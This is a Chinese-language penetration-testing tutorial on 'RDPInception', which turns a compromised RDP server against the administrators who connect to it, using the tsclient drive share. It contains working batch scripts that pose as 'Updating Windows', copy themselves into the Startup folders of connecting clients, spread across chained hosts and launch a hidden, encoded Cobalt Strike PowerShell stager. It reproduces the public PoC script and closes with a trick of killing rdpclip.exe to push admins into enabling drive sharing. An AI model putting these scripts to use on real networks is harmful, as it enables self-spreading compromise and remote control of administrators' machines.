內網滲透|基于文件傳輸的 RDP 反向攻擊
前言
通常認為遠程桌面協議是連接遠程計算機的安全且值得信賴的應用程序,全球數以千計的 IT 專業人員和安全研究人員都在使用遠程桌面協議管理者自己的計算機設備,無論是用于幫助遠程工作人員還是在安全的 VM 環境中工作,RDP 遠程桌面客戶端都是非常寶貴的工具。然而,這一值得信賴的應用程序并不是完全可靠的,在我的《內網滲透測試:初探遠程桌面的安全問題》這篇文章中,我大致羅列出了常見的用于攻擊 RDP 遠程桌面的方式。本節我們就一個問題進行探討,即如何通過遠程桌面服務端反打連接他的客戶端。
如今,在很多組織機構內部,針對 DMZ 或隔離網絡區域內的計算機設備,為了限制其它接入端口風險,通常只允許這些設備開啟 3389 端口,使用遠程桌面來進行管理維護,這樣,所有正向攻擊手段都無法使用。那這樣真的就萬無一失了嗎?當然不是。本節我們就來研究如何通過 RDP 反向攻擊的方式針對這種受限網絡設備完成滲透測試。
RDP 反向攻擊的姿勢有不少,本節我們主要針對最簡單的一個姿勢來進行進行講解,即通過掛載盤符進行 RDP 反向攻擊。其基本原理就是Windows 遠程桌面客戶端 mstsc 有一個盤符掛載選項,如果勾選了該選項,會開啟磁盤共享功能,相當于將你的磁盤再遠程主機上共享,你可以通過類似于 SMB 文件傳輸命令那樣將位于遠程主機上的文件復制到客戶端主機上。如果我們通過相應的設置,在客戶端連接遠程主機的一瞬間,將遠程主機上早已準備好的木馬程序復制到客戶端主機的啟動項中,那么當客戶端主機下一次啟動時便會執行該木程序,客戶端主機便可以成功上線。這種攻擊方法又被稱作 RDPInception。
Mstsc 掛載盤符
這里利用了Windows 遠程桌面客戶端 mstsc.exe 連接時的一個選項:
image-20210712211001617
連接目標主機時,如果像上圖那樣在 mstsc.exe 中開啟驅動器共享的話,那么客戶端進行遠程登陸后,在遠程遠程主機的 “網絡” 中便可以發現一個名為 “tsclient” 的主機:
image-20210712213431202
這其實就是開啟磁盤共享后,遠程主機為連接他的客戶端主機分配的名稱。然后通過以下格式的命令便可以在遠程主機上訪問連接他的客戶端主機了:
dir \\tsclient\c # 列出連接遠程主機的本機 C 盤目錄 copy file \\tsclient\c # 將文件復制到連接遠程主機的本機中 # \\tsclient\盤符
如下圖,我們使用 “tsclient” 列出了客戶端主機上的 C 盤目錄:
image-20210712213922868
如下圖所示,我們使用 “tsclient” 將遠程主機上的 test.txt 成功復制到了客戶端主機:
image-20210712214851175
這種訪問方式類似于使用 SMB 進行文件傳輸,雖然本質上都是 SMB 協議,但是使用 tsclient 無需進行身份認證。
但要注意的是,只有通過遠程登陸的用戶才可以在遠程主機中訪問 tsclient,其他在遠程主機上本地登錄的用戶是無論如何也無法訪問 tsclient 的。
RDP 反向攻擊測試(初探)
實驗環境:
image-20210713103049331
假設攻擊者已經通過各種手段拿下了 Windows Server 2012 這臺服務器,但是目標網絡環境為了限制其它接入端口風險,只允許Windows Server 2012 開啟 3389 端口,由位于更深一層網絡中的管理員主機 Windows 10 使用遠程桌面來進行管理維護,那我們該如何通過 Windows Server 2012 進行橫向滲透并拿下這臺 Windows 10 管理員主機呢?
我們的思路是,在遠程主機的啟動項中寫入一個 .bat 腳本(run.bat),當一個客戶端用戶通過遠程桌面連接到這個遠程主機時,在登陸之后會立即執行這個啟動項中的 run.bat 腳本。start.bat 腳本執行后會首先遍歷 tsclient 共享,發現 tsclient 共享后就會將自己復制到 tsclient 也就是連接遠程主機的客戶端主機上的啟動項中,然后執行一個 Cobalt Strike 生成的 PowerShell Stager。然后,當客戶端主機重啟或者注銷重新登錄后就會再次進行上述過程,同時會使客戶端主機上線。下面我們演示攻擊過程。
首先簡單編寫一個 run.bat(僅提供測試使用):
# 關閉echo響應功能 @echo off echo Updating Windows ... # 關閉echo響應功能 @echo off # 設置一個短時計數器,以確保tsclient進程被完全加載 timeout 1 >nul 2>&1 # 如果當前遠程主機上可以訪問到 tsclient, 則可以成功將 run.bat 通過 tsclient 復制到客戶端主機上 copy "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\run.bat" "\\tsclient\C\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp" # 最后執行 Cobalt Strike 生成的 PowerShell Stager powershell.exe -nop -w hidden -encodedcommand JABzAD0ATgBlAHcALQBPAGIAagBlAGMAdAAgAEkATwAuAE0AZQBtAG8AcgB5AFMAdAByAGUAYQBtACgALABbAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACIASAA0AHMASQBBAEEAQQBBAEEAQQBBAEEAQQBMAFYAVwBhADIALwBpAFMAQgBiADkAbgBQAHcASwBmADIAZwBKAFUAQgBNAFcAYgBDAEQASgBqAEYAbw......AAgAEkATwAuAEMAbwBtAHAAcgBlAHMAcwBpAG8AbgAuAEcAegBpAHAAUwB0AHIAZQBhAG0AKAAkAHMALABbAEkATwAuAEMAbwBtAHAAcgBlAHMAcwBpAG8AbgAuAEMAbwBtAHAAcgBlAHMAcwBpAG8AbgBNAG8AZABlAF0AOgA6AEQAZQBjAG8AbQBwAHIAZQBzAHMAKQApACkALgBSAGUAYQBkAFQAbwBFAG4AZAAoACkAOwA=
將編寫好的 run.bat 放在遠程主機 Windows Server 2012 的系統啟動項目錄中:
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp
image-20210713002237220
然后將遠程主機 Windows Server 2012 注銷,等待客戶端主機 Windows 10 的連接。假設此時管理員好像通過遠程桌面去管理這個 Windows Server 2012,當他連接上遠程桌面時,位于 Windows Server 2012 啟動項中的 run.bat 就會成功執行,如下所示:
image-20210713002607488
如下圖所示,成功將 run.bat 感染到了客戶端主機 Windows 10 的啟動項中:
image-20210713011328774
當管理員的這臺客戶端主機重啟或者注銷重新登錄之后,run.bat 里面的 PowerShell Stager 就會執行,Windows 10 就會上線:
image-20210713012505227
image-20210713012408006
RDP 反向攻擊測試(套娃)
在上一個情景中,攻擊者通成功以 Windows Server 2012 這臺服務器為據點向連接他的客戶端主機發起了 RDP 反向攻擊,最終拿下了客戶端主機 Windows 10。這臺 Windows Server 2012 作為一個 “傳染源”,只要連接他的客戶端開啟了盤符掛載功能就能上鉤,并將 run.bat 傳染到客戶端主機的啟動項中。那么假設這樣一種情況:
image-20210713112653359
管理員位于更深一層的網絡中,其使用自己的筆記本電腦 Windows 7 先通過遠程桌面登陸了 Windows 10,然后又通過 Windows 10 登陸了 Windows Server 2012 的遠程桌面。
不出預料,在 Windows 10 連接上 Windows Server 2012 時,run.bat 便會擴散到 Windows 10 的啟動項中,當 Windows 10 注銷后,管理員再次使用他的 Windows 7 連接 Windows 10 的遠程桌面,位于 Windows 10 上的 run.bat 便又會傳染到 Windows 7 的啟動項中:
image-20210713111735744
當管理員重啟或者注銷重新登錄自己的 Windows 7 后,為于 Windows 7 啟動項中的 run.bat 便會執行,Windows 7 便會上線:
image-20210713112344071
若 Windows 7 再次被其他機器通過遠程桌面進行連接,那上面的攻擊過程就會重演。通過這種反向層層傳導、步步順藤摸瓜的手法,直至對任何向被感染主機發起 RDP 請求連接的計算機形成攻擊控制,最終形成一個攻擊鏈路。
概念性驗證 POC
ActiveBreach 團隊的 Vincent Yiu 根據這種攻擊思路開發了一個概念性驗證 PoC 腳本,項目地址:https://github.com/mdsecactivebreach/RDPInception。腳本寫的很簡單,僅供驗證類的測試使用:
# 關閉echo響應功能
@echo off
echo Updating Windows ...
# 關閉echo響應功能
@echo off
# 設置一個短時計數器,以確保tsclient進程被完全加載
timeout 1 >nul 2>&1
# 在RDP接入的客戶端設備以及被控遠程主機上創建臨時目錄
mkdir \\tsclient\c\temp >nul 2>&1
mkdir C:\temp >nul 2>&1
# 將我們的批處理文件 run.bat 拷貝到以上兩個目錄中
copy run.bat C:\temp >nul 2>&1
copy run.bat \\tsclient\c\temp >nul 2>&1
# 確保在臨時目錄下不存在txt文件
del /q %TEMP%\temp_00.txt >nul 2>&1
# 在 RDP 客戶主機以及被控遠程主機上識別出所有系統啟動目錄
set dirs=dir /a:d /b /s C:\users\*Startup*
set dirs2=dir /a:d /b /s \\tsclient\c\users\*startup*
echo|%dirs%|findstr /i "Microsoft\Windows\Start Menu\Programs\Startup">>"%TEMP%\temp_00.txt"
echo|%dirs2%|findstr /i "Microsoft\Windows\Start Menu\Programs\Startup">>"%TEMP%\temp_00.txt"
# 將上述 run.bat 批處理文件依次拷貝到以下識別出的所有系統啟動目錄下
for /F "tokens=*" %%a in (%TEMP%\temp_00.txt) DO (
copy run.bat "%%a" >nul 2>&1
copy C:\temp\run.bat "%%a" >nul 2>&1
copy \\tsclient\c\temp\run.bat "%%a" >nul 2>&1
)
# 清理臨時文件夾
del /q %TEMP%\temp_00.txt >nul 2>&1
# 最后執行 Cobalt Strike 生成的 PowerShell Stager
REM if "WINDOMAIN"="%USERDOMAIN%"( powershell.exe <cradle here> )
利用該腳本可以以遞歸方式對 RDP 接入設備的訪客計算機發起攻擊。目前,該攻擊已有效應用于 ActiveBreach 團隊多種模擬評估和復雜滲透測試場景中。大體思路與之前的兩個情景類似:
在滲透測試中,如果我們獲得某臺服務器 C 的控制權,而最終目標是 PC X,但由于對方高度安全的網絡環境限制,我們只有采取 RDP 反向攻擊的方式,通過對接入 C 的服務器 B 進行攻擊控制,之后,對接入 B 的服務器 A 進行攻擊控制,最終,對接入 A 的 PC X 形成攻擊控制。
整個攻擊鏈如下:
?PC X RDP to Server A
?Server A RDP to Server B
?Server B RDP to Server C
在這整條攻擊鏈路中,攻擊者可以在任意計算機設備中發起 RDPInception 攻擊。按照 RDPInception 的攻擊理論,只要管理員以 RDP 遠程桌面的方式登錄到這條路徑中的任何一臺設備,攻擊者就可以循環反復獲取到所有設備的控制權。而攻擊者唯一要做的就是在其中一臺設備上發起 RDPInception 攻擊,然后,只需靜靜等待管理員發起 RDP 遠程桌面連接請求,其余的后續攻擊便可由程序自動完成了。無需蹲點守候持續監控,只需對入侵服務器部署好攻擊向量,姜太公釣魚,自會讓那些愿者陸續上鉤。這種攻擊技術無需用戶憑證或其它漏洞利用,可在端口和應用等其它接入條件高度受限的網絡環境下的橫向滲透測試中,當其它橫向滲透技術或提權操作被用完用盡,陷入“黔驢技窮”和一籌莫展狀況時,可考慮使用此招。
限制條件
最主要的限制條件便是客戶端的 mstsc.exe 必須要開啟驅動器 C 盤共享,但是默認情況下 mstsc.exe 是會不開啟磁盤共享功能的。這使得 RDPInception 攻擊看似比較雞肋,許多人都不以為意,認為沒人會閑著沒事特意把 mstsc.exe 的驅動器打開。但正常情況下,且不說同時維護多臺主機的運維人員,即使是普通用戶,當他需要本地與遠程主機有頻繁文件傳輸時,打開驅動器選項后通過簡單地文件拖拽就能實現本地主機與遠程主機的文件傳輸,這無疑是十分方便的。
就算用戶真的沒有開啟驅動器,我們還可以用一些比較猥瑣手段,比如在 run.bat 腳本找不到掛載磁盤的情況下,直接結束 rdpclip.exe 進程使的管理員無法使用剪切板功能實現本地主機與遠程主機之間的復制粘貼,迫使管理員在不清楚原因的狀況下,直接開啟驅動器掛載上磁盤,哈哈哈。